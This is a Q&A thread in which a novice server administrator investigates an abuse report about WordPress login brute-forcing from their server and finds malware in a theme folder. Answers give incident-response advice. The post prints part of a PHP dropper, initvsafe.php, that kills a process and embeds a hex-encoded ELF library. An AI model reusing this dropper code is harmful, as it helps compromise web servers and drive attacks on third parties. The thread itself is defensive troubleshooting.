I am beginner system admin on a bunch of virtualized web servers. Recently we got an e-mail that one of our servers is being used for 'brute force' attacks. The content of the e-mail was similar to the following.
Greetings,
/somehost/ abuse team like to inform you, that we have had mass bruteforce attempts to the Joomla/WordPress control panel on the our shared-hosting server /somehost/.ru /ip-number/ from your network, from IP address /my-ip-address/
During the last 30 minutes we recorded 1500 attempts like this:
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
Total number of this attempts that have been recorded previously at this server (/some-host/.ru)[/their-ip/]:
====
This message was sent automatically by /some-company-name/ security system. Yor e-mail address obtained from the public WhoIs services. We are sorry for disturb if you have received this message by mistake. Please contact us if your e-mail is not relevant to this IP-address or network.
====
Thank you, /somehost/ abuse team
http:// /somehost/ dot ru
/some tel number in russia/,
/some more contact data in russia/
- What should I think about this e-mail? Is this a scam or a important message that should not be ignored?
I find it strange that they write "Joomla/Wordpress" when it can obviously be seen in their logs that "wp-login.php" is a PHP script from WordPress.
On our server we host several WordPress blogs via Webmin/Virtualmin and a Squid server that is not accessible from outside.
I observed the traffic with iftop and nethogs for a while and can't see anything suspicious. The squid access log seems normal to me.
We can see lots of attempts to log in to our server in the "secure" log but no one manages it to gain access.
See following dump from secure.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
And another one.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
With "who" I can clearly see that only I am logged in via SSH.
Today I updated all Webmin and Virtualmin modules ans Squid to the newest versions.
- What should we do now? What should be our next steps to secure the server from being used for attacks?
- Is it even necessary?
- What log files or configuration should we change/look at?
EDIT:
What I have done until now:
- I checked files that changed at attack date (we had almost 50GB traffic
on our IP according to our provider) with
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Nothing changed. - I checked AWStats for all our domains. Not even one domain transferred over 40MB according to AWStats.
- WordPress was up to date on attack day.
- I updated all Webmin and Virtualmin modules.
- I updated squid and changed its port to something else than 3128. I left only 80, 443 and 21 as "safe" ports.
- I updated fail2ban.
I don't want to disconnect the server from the internet as suggested in How do I deal with a compromised server?. Our data is backed up so we are currently safe. However I would like to find out what caused the attack but I am still not able to achieve that.
EDIT 15.01.2014:
With nethogs I was able to find out that /usr/bin/host is receiving and sending much more data than expected.
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
When running lsof on the PID you can clearly see that something is really awry with the WordPress installation.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
I will have to take a look at home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.
Simply all files that changed in January 2014 are not in the standard Twenty Eleven theme installation of WordPress. For example there is a script called initvsafe.php which can be used to store files in the file system.
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
It's probably legitimate. The reason it doesn't explicitly say wordpress is because it's an automated message - sent automatically by some script that detects attacks like that and reports it back to the source's owners.
If your servers have been hacked, the first thing an attacker would do is install modified binaries for who, ls and similar commands to hide their own activity. And delete records of their login from the logs. So it's possible you are compromised. How do I deal with a compromised server? covers what to do.
Most likely, they did not gain access through SSH, rather through something like a PHP script that acts as a proxy server. Check all your websites for files that don't belong. Check the access logs as well for unusual activity. Check for outdated (or even up to date, but with reported vulnerabilities) versions of wordpress, phpmyadmin, etc.
You may want to also check if rkhunter comes up with anything suspicious. The real problem is that once a server is compromised, especially if you had fail2ban and other packages patched, it may be safer to take it offline, even if it is only to move some of the evidence (logs) onto another machine. As Grant mentioned, you cant be sure that the logs were not tampered/deleted to cover any tracks, so assume the worst.
You may want to have a look at the fail2ban logs to see whether there is anything unusual as well.
You may also want to have a quick look at the debian handbook part 14.6 , dealing with compromised systems.